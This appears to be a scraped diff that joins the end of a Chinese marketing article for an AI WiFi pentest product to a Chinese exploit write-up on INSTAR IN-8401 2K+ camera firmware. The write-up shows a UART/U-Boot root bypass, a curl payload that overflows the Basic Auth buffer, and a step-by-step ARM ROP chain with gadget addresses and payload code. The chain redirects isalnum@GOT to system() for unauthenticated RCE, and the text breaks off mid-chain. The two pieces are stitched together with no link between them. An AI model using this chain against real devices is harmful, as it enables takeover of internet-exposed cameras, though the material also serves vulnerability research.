## 难题3：结果难以追溯
|
||||
|
||||
手工报告格式不一，缺少标准化的证据链。一旦发生安全事件，既难以快速定位问题根源，也无法为后续整改提供可靠依据。
|
||||
|
||||
**技术方案：Vackbot WIFI智能体架构**
|
||||
## Vackbot的WiFi渗透测试采用"智能体+双引擎"架构，把整套流程交给自动化执行。检测分为四步：
|
||||
|
||||
|
||||
|
||||
核心优势：
|
||||
|
||||
|
||||
|
||||
**效果对比：传统人工VS渗透智能体**
|
||||
##
|
||||
|
||||
|
||||
## 对企业而言，WiFi安全检测早已不是"可选项"，而是安全防护体系里的"必选项"。当攻击面越来越宽、可用时间越来越短，把重复性强、覆盖面广的检测工作交给自动化工具，把工程师的精力留给真正的判断和决策，会是更务实的选择。Vackbot AI智能体想做的，正是让这件事变得简单、高效、可追溯。
|
||||
|
||||
立即体验：
|
||||
https://pentest.moyunsec.com/
|
||||
|
||||
**功能详解：11项检测模块精要介绍**
|
||||
## 1. Wi-Fi加密方式检测
|
||||
|
||||
-
|
||||
技术要点：
|
||||
WPA2/WPA3
|
||||
协议合规性检查
|
||||
|
||||
-
|
||||
检测价值：防止加密漏洞导致的数据泄露
|
||||
## 2. 设备默认口令检测
|
||||
|
||||
-
|
||||
技术要点：厂商默认凭据匹配（不爆破、不字典）
|
||||
|
||||
-
|
||||
检测价值：防止弱口令攻击
|
||||
## 3. AP固件版本漏洞检测
|
||||
|
||||
-
|
||||
技术要点：
|
||||
CVE
|
||||
漏洞库匹配
|
||||
|
||||
-
|
||||
检测价值：预防已知漏洞利用
|
||||
## 4. 网络隔离检测
|
||||
|
||||
-
|
||||
技术要点：
|
||||
AP
|
||||
与内网隔离验证
|
||||
|
||||
-
|
||||
检测价值：防止横向渗透
|
||||
## 5. AP管理页面暴露检测
|
||||
|
||||
-
|
||||
技术要点：管理面暴露扫描
|
||||
|
||||
-
|
||||
检测价值：防止未授权访问
|
||||
## 6-11. 其他检测模块
|
||||
|
||||
- Wi-Fi
|
||||
信息采
|
||||
集、厂
|
||||
商识别、口令强度检测
|
||||
|
||||
- AC
|
||||
管理页面暴露、设备
|
||||
Web
|
||||
漏洞检测
|
||||
|
||||
- AC
|
||||
软件版本漏洞检测
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
往期回顾
|
||||
|
||||
|
||||
|
||||
# 实测DeepSeek-V4-Pro与GLM-5.1漏洞检出能力对比
|
||||
# 象限云AI 漏洞挖掘SAAS，无需付费查看资产安全风险
|
||||
# GitLab 高危漏洞分析：VackBot 已实现检测覆盖
|
||||
#
|
||||
|
||||
|
||||
让网络攻防更智能
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
点击
|
||||
**转发**
|
||||
|
||||
分享给小伙伴
|
||||
|
||||
@@ -0,0 +1,442 @@
|
||||
# 无泄漏也能打：INSTAR 摄像头固件到无 ASLR 泄漏 RCE
|
||||
赛博安全攻防日记 2026-09-11 05:36
|
||||
|
||||
# 无泄漏也能打：INSTAR 摄像头固件到无 ASLR 泄漏 RCE
|
||||
|
||||
上一篇写 ARM 利用时，是对着一个已知漏洞把 exploit 搭起来。这次我想换个更「现代」的 IoT 目标，把链路走完整：固件提取与分析 → 挖到未知漏洞 → 一路打到利用。跟着一起看，怎么在没有地址泄漏的前提下，用 ARM ROP chain 绕过 ASLR，拿下未认证 RCE。
|
||||
## 目标概览
|
||||
|
||||
研究对象是德国厂商 INSTAR 的 IN-8401 2K+ 网络摄像头：带网页配置和实时预览。后来发现这款固件也和其他 2K+ / 4K 系列共用。Shodan 上大约能看到 12,000 台 INSTAR 设备暴露在公网。
|
||||
|
||||
|
||||
|
||||
INSTAR IN-8401 2K+ 网页界面
|
||||
## 撬开外壳：先拿固件
|
||||
|
||||
想认真挖洞，得先摸到固件。有了固件才能看二进制、配置、脚本和文件系统布局，静态分析和动态调试才站得住；否则就只能对着网络接口瞎 fuzz。
|
||||
|
||||
动手前先尽可能多收集信息。INSTAR 文档挺全，其中一页叫「Restore your HD Camera after a faulty Firmware upgrade」特别有意思：说明摄像头暴露了 UART，还能用来恢复固件镜像。UART 是嵌入式里常见的串口调试接口。文档看起来甚至能直接进 root shell。
|
||||
|
||||
文章是写给 HD 型号的，不是我的 2K+，但厂商经常跨代复用硬件和功能，值得一试。拆掉外壳前盖后，调试接口就在 wiki 图示的位置。
|
||||
|
||||
接着用 PCBite 夹到接口上，接到 FTDI（USB 转串口）上。
|
||||
|
||||
|
||||
|
||||
把 FTDI 接到暴露的 UART 接口
|
||||
|
||||
插到 Linux 机器上打开串口，敲两下，登录提示就出来了：
|
||||
```
|
||||
INSTAR login: rootPassword:Login incorrect
|
||||
```
|
||||
|
||||
试了 admin:admin、root:root 这类常见组合，都不行。文档说可以打断启动流程拿 OS 上的 root shell，于是重启摄像头再试。
|
||||
```
|
||||
U-Boot 2019.04 (Oct 18 2023 - 11:38:25 +0000)CPU: Novatek NT @ 999 MHzDRAM: 512 MiBRelocation to 0x1ff3b000, Offset is 0x01f3b000 sp at 1fbf4dc0nvt_shminfo_init: The fdt buffer addr: 0x1fbfb8c8ARM CA9 global timer had already been initiatedotp_init!120MHzotp_timing_reg= 0xff6050 CONFIG_MEM_SIZE = 0x20000000 CONFIG_NVT_UIMAGE_SIZE = 0x01900000 CONFIG_NVT_ALL_IN_ONE_IMG_SIZE = 0x14a00000 CONFIG_UBOOT_SDRAM_BASE = 0x1e000000 CONFIG_UBOOT_SDRAM_SIZE = 0x01fc0000 CONFIG_LINUX_SDRAM_BASE = 0x01100000 CONFIG_LINUX_SDRAM_SIZE = 0x1cf00000 CONFIG_LINUX_SDRAM_START = 0x1c700000[...]phy interface: INTERNAL MIIeth_na51055Hit any key to stop autoboot: 0 do_nvt_boot_cmd: boot time: 1718855(us) [...]
|
||||
```
|
||||
|
||||
确实能打断 autoboot，但和文档不一样：打断后进的不是系统 root shell，而是 U-Boot。U-Boot（Universal Bootloader）是嵌入式里常见的开源 bootloader，负责初始化硬件、加载操作系统/固件。
|
||||
```
|
||||
nvt@na51055: printenvarch=arm[...]bootargs=console=ttyS0,115200 earlyprintk nvt_pst=/dev/mmcblk2p0nvtemmcpart=0x40000@0x40000(fdt)ro,0x200000@0xc0000(uboot)ro,0x40000@0x2c0000(uenv),0x400000@0x300000(linux)ro,0x40000000@0xb00000(rootfs0),0xc000000@0x40b00000(rootfs1),0x40000000@0x4cb00000(rootfs2),0x1000000@0x8CF00000(rootfsl1),0x10000000@0x8E300000(rootfsl2),0xe6a340@0(total) root=/dev/mmcblk2p1 rootfstype=ext4 rootwait rwbootcmd=nvt_boot[...]vendor=novatekver=U-Boot 2019.04 (Oct 18 2023 - 11:38:25 +0000)
|
||||
```
|
||||
|
||||
注意到内核启动参数来自环境变量 bootargs
|
||||
。我试了经典的 init=/bin/sh
|
||||
：让内核别跑 init，直接起 shell。改完变量后用 nvt_boot
|
||||
启动。
|
||||
```
|
||||
invt@na51055: setenv bootargs "console=ttyS0,115200 earlyprintk nvt_pst=/dev/mmcblk2p0nvtemmcpart=0x40000@0x40000(fdt)ro,0x200000@0xc0000(uboot)ro,0x40000@0x2c0000(uenv),0x400000@0x300000(linux)ro,0x40000000@0xb00000(rootfs0),0xc000000@0x40b00000(rootfs1),0x40000000@0x4cb00000(rootfs2),0x1000000@0x8CF00000(rootfsl1),0x10000000@0x8E300000(rootfsl2),0xe6a340@0(total) root=/dev/mmcblk2p1 rootfstype=ext4 rootwait rw init=/bin/sh"nvt@na51055: nvt_boot[...]EXT4-fs (mmcblk2p1): recovery completeEXT4-fs (mmcblk2p1): mounted filesystem with ordered data mode. Opts: (null)VFS: Mounted root (ext4 filesystem) on device 179:1.devtmpfs: mountedFreeing unused kernel memory: 1024KRun /bin/sh as init process/bin/sh: can't access tty; job control turned off/ # iduid=0(root) gid=0(root)/ # hostnameINSTAR
|
||||
```
|
||||
|
||||
成了。我加了个新的 root 用户再重启，就能用新账号登录。接着把整棵文件系统 dump 下来做分析和备份——后面万一玩炸了还能还原。
|
||||
## 高层架构与攻击面
|
||||
|
||||
设备打开后很容易被好奇心带着乱跑。目标是找可利用漏洞，得先画一张攻击面地图。
|
||||
|
||||
Web 栈里最显眼的是 lighttpd：入口兼反向代理。看配置就能明白，进来的请求会转到对应后端。例如以 .cgi
|
||||
结尾的请求，会经 /tmp/instt_fcgi.socket
|
||||
丢给 fcgi_server
|
||||
。
|
||||
```
|
||||
fastcgi.server = ( ".cgi" => (("bin-path" => "/home/ipc/bin/fcgi_server","socket" => "/tmp/instt_fcgi.socket","max-procs" => 1,"check-local" => "disable"))
|
||||
```
|
||||
|
||||
我更关心**未认证就能摸到的代码**
|
||||
。前期探索知道 Web 用户存在 SQLite 里，负责认证的二进制理应访问这个库；但看不到 fcgi_server
|
||||
在碰它，说明还有别的组件。进程列表里有个 ipc_server
|
||||
。挂上 strace
|
||||
后发现：多数接口的请求会从 fcgi_server
|
||||
经 /tmp/insttv2_socket
|
||||
转到 ipc_server
|
||||
。
|
||||
|
||||
举例：
|
||||
```
|
||||
$ curl '192.168.0.3/param.cgi?cmd=mod0¶mkey=paramvalue'cmd="mod0";response="204";
|
||||
```
|
||||
|
||||
ipc_server
|
||||
这一侧：
|
||||
```
|
||||
recv(91, "\4cmd\0\3\5\0\0\0mod0\0\6param\0\4\32\0\0\0\tparamkey\0\3\v\0\0\0paramvalue\0\7header\0\4\25\0\0\0\3ip\0\3\f\0\0\000192.168.0.1\0", 87, 0) = 87
|
||||
```
|
||||
|
||||
HTTP 请求并不是原样转发，而是先序列化成某种 TLV（Type–Length–Value）结构。认证和核心业务逻辑都在 ipc_server
|
||||
后端。
|
||||
|
||||
至此两个有意思的目标清楚了：fcgi_server
|
||||
和 ipc_server
|
||||
，都在未认证攻击者的可达范围内。
|
||||
## 方法论
|
||||
|
||||
目标明确后开始挖洞。简单说说用过的方法。
|
||||
|
||||
高效挖洞很吃调试环境：静态分析里的假设能马上在动态里验证，也能追调用链。这套和上次研究差不多——摄像头上跑 gdb server，攻击机上 gdb client。
|
||||
|
||||
两条主线：fuzzing，以及静态+动态分析结合。先用 boofuzz 对收集到的 Web 接口做了比较「原始」的黑盒 fuzz，扫各种参数看能不能打崩。这条路确实打出了 CVE-2025-8761，但效率很低——从外部几乎只能稳定观察到整机崩溃（后面会解释为什么）。
|
||||
|
||||
第二条线花在逆向 fcgi_server
|
||||
和 ipc_server
|
||||
上：搞清逻辑，盯着边界检查、指针运算这些内存破坏常客。节奏通常是：看反编译 → 做假设 → 用 gdb
|
||||
/ strace
|
||||
动态验证。
|
||||
## 挖洞过程
|
||||
|
||||
先看代码。fcgi_server
|
||||
像一层自定义中间件，把 Web 请求翻译成 ipc 消息。反编译里能看到 .cgi
|
||||
端点的分发器，按 URI 调不同 handler。
|
||||
|
||||
|
||||
|
||||
反编译后的 fcgi_server 分发函数
|
||||
|
||||
多数 handler 里会出现同一类模式：再调一个「像分发器」的函数。我把它识别成认证处理逻辑。
|
||||
|
||||
|
||||
|
||||
反编译后的 update 处理函数
|
||||
|
||||
按认证方式不同，提取/序列化 auth 数据的路径也不一样。其中一条是 Basic Auth handler。
|
||||
|
||||
|
||||
|
||||
反编译后的认证处理函数
|
||||
|
||||
Basic Auth handler 里又调了一个看起来像自定义 Base64 解码的函数。反编译里能看到不少 C++ 味道：成员函数、this 指针、标准库引用。多数字符串操作走的是 C++ string；但这里有个 memcpy
|
||||
，把 Base64 解码结果拷进栈上固定 516 字节的缓冲区。
|
||||
|
||||
|
||||
|
||||
反编译后的 Base64 解码函数
|
||||
|
||||
静态分析先告一段落，转向动态验证 Basic Auth。先确认 Basic Auth handler 和 Base64 解码确实会被触发：下几个断点，发请求。
|
||||
```
|
||||
$ curl -k https://192.168.0.3/castore.cgi -u 'A:B' -v[...]* Request completely sent off* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):< HTTP/2 500< content-type: text/plain; charset=utf-8[...]< server: lighttpd/1.4.72
|
||||
```
|
||||
|
||||
断点命中，假设成立，返回 500。
|
||||
|
||||
再发一条特别长的 Basic Auth，故意超过 Base64 解码里那 516 字节缓冲区。
|
||||
```
|
||||
$ curl -k https://192.168.0.3/castore.cgi -u 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:B' -v[...]* Request completely sent off* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):< HTTP/2 500< content-type: text/html[...]< server: lighttpd/1.4.72<<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>500 Internal Server Error</title> </head> <body> <h1>500 Internal Server Error</h1> </body></html>
|
||||
```
|
||||
|
||||
又是 500，但响应体不一样了——这次是 HTML 错误页。串口那边更有意思：
|
||||
```
|
||||
Hardware name: Novatek Video PlatformPC is at 0x41414140LR is at 0x76e39e8cpc : [<41414140>] lr : [<76e39e8c>] psr: 60010030sp : 753808d0 ip : 76e6f48c fp : 41414141r10: 41414141 r9 : 41414141 r8 : 41414141r7 : 41414141 r6 : 41414141 r5 : 41414141 r4 : 41414141r3 : 00000000 r2 : 75380698 r1 : 00000000 r0 : 75380698Flags: nZCv IRQs on FIQs on Mode USER_32 ISA Thumb Segment userControl: 10c5387d Table: 4dbdc04a DAC: 00000055CPU: 1 PID: 6392 Comm: fcgi_server Tainted: P O 4.19.91 #1Hardware name: Novatek Video PlatformBacktrace:[<8010b428>] (dump_backtrace) from [<8010b554>] (show_stack+0x18/0x1c) r7:41414140 r6:60070013 r5:00000000 r4:808405e4[...]
|
||||
```
|
||||
|
||||
程序崩了。PC is at 0x41414140
|
||||
说明栈被覆盖：返回地址从栈上取出来后跳到了 payload 对应的地址。栈溢出坐实。
|
||||
|
||||
为什么最初 fuzz 没挖到？两个原因：
|
||||
- HTTP 状态码和正常失败一样都是 500，只是 body 不同；光看 500 并不稀奇。
|
||||
|
||||
- lighttpd 会立刻把 fcgi_server
|
||||
拉起来，从外面几乎感觉不到崩溃。
|
||||
|
||||
这也再次说明：调试环境有多重要。
|
||||
## 利用
|
||||
|
||||
开搞之前提醒一句：如果不熟二进制利用或 ARM，建议先看作者上一篇相关文章——很多概念一脉相承，这里不再展开。
|
||||
|
||||
先看利用前置条件。目标是 ARMHF 32 位、动态链接、stripped。checksec
|
||||
显示：无 stack canary，开了 NX；不是 PIE；Partial RELRO。
|
||||
```
|
||||
$ file fcgi_serverfcgi_server: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 4.9.0, stripped
|
||||
```
|
||||
```
|
||||
$ checksec --file=fcgi_serverRELRO STACK CANARY NX PIEPartial RELRO No canary found NX enabled No PIE
|
||||
```
|
||||
|
||||
对攻击者意味着什么？没有 canary，用溢出改返回地址很直接；但栈上不能跑 shellcode。因为不是 PIE，主程序装载地址固定。Partial RELRO 下 GOT 在 BSS 前面，能挡住「全局缓冲区溢出改 GOT」这类路径；我们的溢出在栈上，这一点不关键——但 GOT **可写**
|
||||
很关键，只有 Full RELRO 才会把 GOT 变成只读。
|
||||
|
||||
再看依赖库，比如 libc：带 PIE，运行时会被随机摆放。
|
||||
```
|
||||
$ checksec --file=libc-2.29.soRELRO STACK CANARY NX PIEPartial RELRO Canary found NX enabled DSO
|
||||
```
|
||||
|
||||
综合缓解措施，用 ROP（Return-oriented programming）拿命令执行最合理：串起程序内存里已有的 gadget，拼出攻击者控制的执行流。ROP 是否打得动，取决于 gadget 够不够、地址知不知道。
|
||||
|
||||
fcgi_server
|
||||
自己的 gadget 地址是静态可知的，但数量有限；最终总要调到 libc 的文件 I/O 或 system()
|
||||
。而 libc 带 PIE，设备上 ASLR 也开着，libc 基址随机。
|
||||
|
||||
当时想到几条路：
|
||||
- 再挖一个洞泄漏 libc 地址
|
||||
|
||||
- 找办法读 /proc/self/maps
|
||||
|
||||
- 用 ROP chain 自己把 libc 地址洩出来
|
||||
|
||||
很快再挖泄漏洞没成；读 maps 也没走通；用目标二进制 gadget 做泄漏又缺少顺手的外泄通道。
|
||||
|
||||
更大的问题是：ROP 一跑二进制就崩，泄漏也白搭——fcgi_server
|
||||
重启后 libc 又换地方了。栈溢出场景下也没法把栈「修」回原样，因为修栈需要的信息本身就被盖掉了。
|
||||
|
||||
常见做法是多次触发：先泄漏，再回到漏洞函数，第二次溢出用泄漏结果。但这需要能读泄漏、再喂输入的 I/O 通道。结合 Web 栈架构和漏洞位置，这条路不现实，所以更倾向 **one-shot**
|
||||
。
|
||||
### 计划
|
||||
|
||||
绕 ASLR 有一类手法围着 GOT / PLT 转。调用外部函数（比如 libc 的 puts
|
||||
）时，先落到 puts@plt
|
||||
，由它解析真正的 libc 地址并写入 GOT；之后再调就直接从 GOT 取。
|
||||
|
||||
绕 ASLR 需要的信息就在 GOT 里。理想情况是 GOT 里已有 system
|
||||
，但目标二进制从不引用 system
|
||||
，自然没有对应 GOT/PLT 项。可以读某个已解析函数的 GOT，算出到目标函数的偏移，再改执行流——全程得用二进制里的 gadget 完成。
|
||||
|
||||
高层步骤可以是：
|
||||
- 读某个 GOT 项，放进寄存器 x
|
||||
|
||||
- 对 x 做加减，挪到目标函数（如 system
|
||||
）
|
||||
|
||||
- 跳到 x
|
||||
|
||||
或者：
|
||||
- 直接改写 GOT 指针指向的值（GOT 可写）
|
||||
|
||||
- 解引用 GOT 到寄存器 x
|
||||
|
||||
- 跳到 x
|
||||
|
||||
当然还要在跳 system()
|
||||
前把参数塞进正确寄存器，但方向有了。
|
||||
### 找零件
|
||||
|
||||
先找一个触发漏洞时**已经被填充**
|
||||
的 GOT 项。脆弱的 Base64 解码里会调 libc 的 isalnum
|
||||
。看它的 PLT / GOT：
|
||||
```
|
||||
objdump -d fcgi_server| grep '<isalnum@plt>'000147e8 <isalnum@plt>: 206c8: ebffd046 bl 147e8 <isalnum@plt> 21010: ebffcdf4 bl 147e8 <isalnum@plt>
|
||||
```
|
||||
|
||||
溢出后的返回处下断，确认运行时 GOT 与真实地址：
|
||||
```
|
||||
(remote) gef➤ info address [email protected] "[email protected]" is at 0x400c8 in a file compiled without debugging.(remote) gef➤ x/wx 0x400c80x400c8 <[email protected]>: 0x76ba86f0(remote) gef➤ x/8i 0x76ba86f0 0x76ba86f0 <isalnum>: ldr r3, [pc, #24] @ 0x76ba8710 <isalnum+32> 0x76ba86f4 <isalnum+4>: mrc 15, 0, r2, cr13, cr0, {3} 0x76ba86f8 <isalnum+8>: lsl r0, r0, #1 0x76ba86fc <isalnum+12>: ldr r3, [pc, r3] 0x76ba8700 <isalnum+16>: ldr r3, [r2, r3] 0x76ba8704 <isalnum+20>: ldrh r0, [r3, r0] 0x76ba8708 <isalnum+24>: and r0, r0, #8 0x76ba870c <isalnum+28>: bx lr
|
||||
```
|
||||
|
||||
GOT 在 0x400c8
|
||||
，指向 libc 里 isalnum
|
||||
的 0x76ba86f0
|
||||
。
|
||||
```
|
||||
(remote) gef➤ info function systemAll functions matching regular expression "system":Non-debugging symbols:0x000147c4 std::_V2::system_category()@plt[...]0x76bbb920 __libc_system0x76bbb920 system0x76c83fac svcerr_systemerr
|
||||
```
|
||||
|
||||
isalnum
|
||||
（0x76ba86f0）和 system
|
||||
（0x76bbb920）差多少？
|
||||
```
|
||||
>>> hex(0x76bbb920 - 0x76ba86f0)'0x13230'
|
||||
```
|
||||
|
||||
只要能给 isalnum@got
|
||||
里的地址加上 0x13230
|
||||
，就得到 system
|
||||
。
|
||||
### Gadgets，还是 Gadgets
|
||||
|
||||
计划和 RCE 之间，隔着一堆 gadget。先试过 angrop
|
||||
这类自动串联工具，但 ARM 上同一件小事往往有很多种多指令写法（给寄存器加值、寄存器互搬……）。工具对短而直白的 gadget 还行，一复杂就抓瞎。最后还是用 Ropper
|
||||
手工搜、手工串。
|
||||
|
||||
短 gadget 不够用时只能上更长的；越长副作用越多——覆盖寄存器、挪栈指针之类。挑战在于：既要完成原语，又要把副作用控制在后续 gadget 能纠正的范围内。
|
||||
|
||||
链子里最关键的是「把两个尽量可控的值加起来」：这样才能把算好的偏移加到 isalnum@got
|
||||
上得到 system
|
||||
。只有给寄存器 +1/+2 的 gadget 不太香——要么循环调很多次，要么链子长到离谱。于是找了这种两寄存器相加的：
|
||||
```
|
||||
# 0x000228d8: add r6, fp, r6; ldrb sb, [ip, #1]; ldr sl, [ip, #2]; blx r3;
|
||||
```
|
||||
|
||||
拆开看：
|
||||
- add r6, fp, r6
|
||||
：fp（r11）+ r6 → r6
|
||||
|
||||
- ldrb sb, [ip, #1]
|
||||
：解引用 ip（r12）+1 → sb（r9）
|
||||
|
||||
- ldr sl, [ip, #2]
|
||||
：解引用 ip+2 → sl（r10）
|
||||
|
||||
- blx r3
|
||||
：跳到 r3
|
||||
|
||||
副作用也包括：某些寄存器必须事先是合法值。这里 ip（r12）必须是可解引用的有效地址，否则直接崩。
|
||||
|
||||
理想情况：r6 里是 isalnum
|
||||
地址，fp 里是算好的偏移，gadget 输出就是 system
|
||||
地址。那 isalnum
|
||||
怎么进 r6？isalnum@got
|
||||
地址已知，需要 gadget 解引用它。
|
||||
```
|
||||
# 0x000190ac: ldr r6, [r3, #0x10]; ldr r3, [r2, #4]; blx r3;
|
||||
```
|
||||
|
||||
拆开：
|
||||
- ldr r6, [r3, #0x10]
|
||||
：*(r3+0x10) → r6
|
||||
|
||||
- ldr r3, [r2, #4]
|
||||
：*(r2+0x4) → r3
|
||||
|
||||
- blx r3
|
||||
：跳到 r3
|
||||
|
||||
正是需要的，但前置条件苛刻：要让 *(r2+0x4)
|
||||
等于下一条 gadget，链才能续上。
|
||||
|
||||
最后还差「跳到算好的地址」的 gadget——愣是没找到；也没法把地址挪到已有 call gadget 的寄存器。转机是：目标二进制的 GOT **可写**
|
||||
。那就把算好的地址写回 GOT，再调 isalnum@plt
|
||||
，PLT stub 会从被篡改的 GOT 取地址并跳转。
|
||||
```
|
||||
# 0x0002a3f8: str r0, [r4, #4]; pop {r4, r5, r6, pc};
|
||||
```
|
||||
|
||||
拆开：
|
||||
- str r0, [r4, #4]
|
||||
：把 r0 写到 *(r4+0x4)
|
||||
|
||||
- pop {r4, r5, r6, pc}
|
||||
：继续链
|
||||
|
||||
只要能把算好的地址放进 r0、把 isalnum@got - 0x4
|
||||
放进 r4，就能把篡改后的地址写回 GOT。
|
||||
|
||||
对齐之后，计划是：
|
||||
- 解引用 isalnum@got
|
||||
→ r6
|
||||
|
||||
- 给 r6 加上到 system
|
||||
的偏移
|
||||
|
||||
- 把 r6 写回 isalnum@got
|
||||
|
||||
- 准备 system
|
||||
的参数
|
||||
|
||||
- 调用 isalnum@plt
|
||||
|
||||
### 串起整条链
|
||||
|
||||
实际远没有上面写得顺。gadget 换来换去很多次，才固定成下面这条。脆弱 Base64 函数的 epilogue 很方便：返回前能填充 r4–r11，再跳进第一条 gadget。这里先给 r6、r9、r11 埋点。
|
||||
```
|
||||
p = b""p += 516 * b"A"p += b"BBBB" # r4p += b"CCCC" # r5p += p32(0x1cad0) # r6p += b"EEEE" # r7p += b"FFFF" # r8p += p32(0x190ac) # r9 (sb)p += b"HHHH" # r10 (sl)p += p32(0x13230) # r11 (fp) -> offset system - isalnum
|
||||
```
|
||||
|
||||
链的第一步做准备：
|
||||
```
|
||||
# 0x00028a08: mov r0, r6; pop {r4, r5, r6, pc};p += p32(0x28a08)p += b"XXXX" # r4p += b"XXXX" # r5p += b"XXXX" # r6# 0x0001459c: pop {r3, pc};p += p32(0x1459c)p += p32(ISALNUM_GOT - 0x10) # r3# 0x0002a33c: mov r2, sp; str r0, [sp, #4]; mov r0, r3; blx sb;p += p32(0x2a33c)p += b"AAAA" # <- sp
|
||||
```
|
||||
|
||||
等价于：
|
||||
```
|
||||
r0 = r6 = 0x1cad0r3 = ISALNUM_GOT - 0x10r2 = sp*(sp + 4) = r0 = 0x1cad0r0 = r3 = ISALNUM_GOT - 0x10*(0x190ac)()
|
||||
```
|
||||
|
||||
注意把 isalnum@got
|
||||
放进 r3，好让下一条解引用进 r6；同时 r2 要是栈指针，才能靠 blx r3
|
||||
续链。
|
||||
```
|
||||
# 0x000190ac: ldr r6, [r3, #0x10]; ldr r3, [r2, #4]; blx r3;
|
||||
```
|
||||
```
|
||||
r6 = *(r3 + 0x10) = *(ISALNUM_GOT - 0x10 + 0x10) = *ISALNUM_GOTr3 = *(r2 + 0x4) = *(sp + 0x4)*(sp + 0x4)() # -> 0x1cad0
|
||||
```
|
||||
|
||||
*(sp+0x4)
|
||||
会在运行时被覆盖，所以栈上要留好 scratch，对齐才不会乱。
|
||||
|
||||
跳到 0x1cad0 时栈大致是：
|
||||
<table><caption><section><span leaf=""><br/></span></section></caption><tfoot><tr><td></td></tr></tfoot><colgroup><col/><col/><col/></colgroup></table><table><tbody><tr><th style="border: 1px solid rgb(221, 221, 221);padding: 6px 8px;text-align: left;"><section><span leaf="">Address</span></section></th><th style="border: 1px solid rgb(221, 221, 221);padding: 6px 8px;text-align: left;"><section><span leaf="">Value</span></section></th><th style="border: 1px solid rgb(221, 221, 221);padding: 6px 8px;text-align: left;"><section><span leaf=""><br/></span></section></th></tr><tr><td style="border: 1px solid rgb(221, 221, 221);padding: 6px 8px;text-align: left;"><section><span leaf="">0x1000FFF8</span></section></td><td style="border: 1px solid rgb(221, 221, 221);padding: 6px 8px;text-align: left;"><section><span leaf="">0x1459c</span></section></td><td style="border: 1px solid rgb(221, 221, 221);padding: 6px 8px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr><tr><td style="border: 1px solid rgb(221, 221, 221);padding: 6px 8px;text-align: left;"><section><span leaf="">0x1000FFF4</span></section></td><td style="border: 1px solid rgb(221, 221, 221);padding: 6px 8px;text-align: left;"><section><span leaf="">0x1cad0</span></section></td><td style="border: 1px solid rgb(221, 221, 221);padding: 6px 8px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr><tr><td style="border: 1px solid rgb(221, 221, 221);padding: 6px 8px;text-align: left;"><section><span leaf="">0x1000FFF0</span></section></td><td style="border: 1px solid rgb(221, 221, 221);padding: 6px 8px;text-align: left;"><section><span leaf="">AAAA</span></section></td><td style="border: 1px solid rgb(221, 221, 221);padding: 6px 8px;text-align: left;"><section><span leaf="">← stack pointer</span></section></td></tr></tbody></table>
|
||||
栈指针还停在 AAAA。接着再调栈、准备 r3：
|
||||
```
|
||||
# 0x0001cad0: pop {r4, r5, pc};p += b"XXXX" # r5 (scratch space)# 0x0001459c: pop {r3, pc};p += p32(0x1459c)p += p32(0x27d14) # r3
|
||||
```
|
||||
```
|
||||
r3 = 0x27d14
|
||||
```
|
||||
|
||||
然后就是把 isalnum
|
||||
地址和偏移加起来的 gadget。偏移一开始就放进了 fp（r11）；此时 r6 也已经是从 GOT 读出的 isalnum
|
||||
真地址。
|
||||
```
|
||||
# 0x000228d8: add r6, fp, r6; ldrb sb, [ip, #1]; ldr sl, [ip, #2]; blx r3;p += p32(0x228d8)
|
||||
```
|
||||
```
|
||||
r6 = r6 + fp = *ISALNUM_GOT + 0x13230 = systemsb = *(ip + 0x1)sl = *(ip + 0x2)*(0x27d14)()
|
||||
```
|
||||
|
||||
ip 后面用不到；它恰好指向栈上某地址，只读不会搞出额外破坏。
|
||||
```
|
||||
# 0x00027d14: mov r0, r6; add sp, sp, #0x3c; pop {r4, r5, r6, r7, r8, sb, sl, fp, pc};p += 0x3c * b"P"p += p32(ISALNUM_GOT - 4) # r4 -> target - 4p += b"XXXX" # r5p += b"XXXX" # r6p += b"XXXX" # r7p += b"XXXX" # r8p += b"XXXX" # sbp += b"XXXX" # slp += b"XXXX" # fp
|
||||
```
|
||||
|
||||
下一步把 r6 挪进 r0（也就是把算好的 system
|
||||
放进 r0），并为下一步准备 r4。这个 gadget 副作用不小，需要额外 padding。
|
||||
```
|
||||
r0 = r6 = systemsp = sp + 0x3cr4 = ISALNUM_GOT - 4
|
||||
```
|
||||
|
||||
终于到写回 GOT 的 gadget：
|
||||
```
|
||||
# 0x0002a3f8: str r0, [r4, #4]; pop {r4, r5, r6, pc};p += p32(0x2a3f8)p += b"XXXX" # r4p += b"XXXX" # r5p += p32(ISALNUM_PLT) # r6
|
||||
```
|
||||
|
||||
顺带还能把 isalnum@plt
|
||||
写进 r6。
|
||||
```
|
||||
